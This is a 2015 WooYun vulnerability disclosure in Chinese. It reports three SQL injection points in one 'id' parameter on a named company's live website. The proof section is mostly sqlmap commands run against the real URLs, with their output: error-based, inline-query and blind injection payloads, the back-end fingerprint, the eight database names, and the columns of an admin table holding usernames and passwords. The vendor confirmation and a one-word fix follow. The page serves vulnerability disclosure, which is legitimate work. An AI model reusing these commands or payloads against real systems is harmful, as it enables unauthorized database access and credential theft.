当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127293

漏洞标题:中企动力科技股份有限公司某站SQL注入(3枚同一参数)

相关厂商:中企动力科技股份有限公司

漏洞作者: 凌零1

提交时间:2015-07-19 16:49

修复时间:2015-09-02 18:26

公开时间:2015-09-02 18:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-19: 细节已通知厂商并且等待厂商处理中
2015-07-19: 厂商已经确认,细节仅向厂商公开
2015-07-29: 细节向核心白帽子及相关领域专家公开
2015-08-08: 细节向普通白帽子公开
2015-08-18: 细节向实习白帽子公开
2015-09-02: 细节向公众公开

简要描述:

00

详细说明:

id
1.http://ku.cetools.cn/yl.asp?id=1 --level3 盲注
2.http://ku.cetools.cn/anlidetail.asp?id=1&zan=1
3.http://ku.cetools.cn/anlidetail.asp?id=1

FS46$@TVSDEJYN$G~D}HOEH.jpg


漏洞证明:

C:\Python27\sqlmap>sqlmap.py -u "http://ku.cetools.cn/anlidetail.asp?id=1"
_
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:37:02
[09:37:02] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:37:02] [INFO] testing connection to the target URL
[09:37:02] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 2641=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHA
R(122)+CHAR(113)+(SELECT (CASE WHEN (2641=2641) THEN CHAR(49) ELSE CHAR(48) END)
)+CHAR(113)+CHAR(107)+CHAR(118)+CHAR(118)+CHAR(113)))&zan=1
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(122)+CHAR(113)+(SELEC
T (CASE WHEN (4384=4384) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+C
HAR(118)+CHAR(118)+CHAR(113))&zan=1
---
[09:37:02] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[09:37:02] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\ku.cetools.cn'
[*] shutting down at 09:37:02


C:\Python27\sqlmap>sqlmap.py -u "http://ku.cetools.cn/anlidetail.asp?id=1&zan=1"
-p "id"
_
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:37:58
[09:37:58] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:37:58] [INFO] testing connection to the target URL
[09:37:58] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 2641=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHA
R(122)+CHAR(113)+(SELECT (CASE WHEN (2641=2641) THEN CHAR(49) ELSE CHAR(48) END)
)+CHAR(113)+CHAR(107)+CHAR(118)+CHAR(118)+CHAR(113)))&zan=1
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(122)+CHAR(113)+(SELEC
T (CASE WHEN (4384=4384) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+C
HAR(118)+CHAR(118)+CHAR(113))&zan=1
---
[09:37:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[09:37:58] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\ku.cetools.cn'


C:\Python27\sqlmap>sqlmap.py -u "http://ku.cetools.cn/yl.asp?id=1" -p "id" --lev
el 3
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:39:00
[09:39:00] [INFO] resuming back-end DBMS 'postgresql'
[09:39:00] [INFO] testing connection to the target URL
[09:39:00] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: boolean-based blind
Title: PostgreSQL boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (8046=8046) THEN 8046 ELSE 1/(SELECT 0) END))
---
[09:39:00] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: PostgreSQL
[09:39:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[09:39:00] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\ku.cetools.cn'

BHS6NCE}J(7P[Z0Z5L$YS_A.jpg


available databases [8]:
[*] anliku
[*] fengxiang
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

Database: anliku
Table: maager
[5 columns]
+----------+
| Column |
+----------+
| id |
| isalive |
| password |
| power |
| username |
+----------+


修复方案:

过滤吧!

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-19 18:24

厂商回复:

正在处理

最新状态:

暂无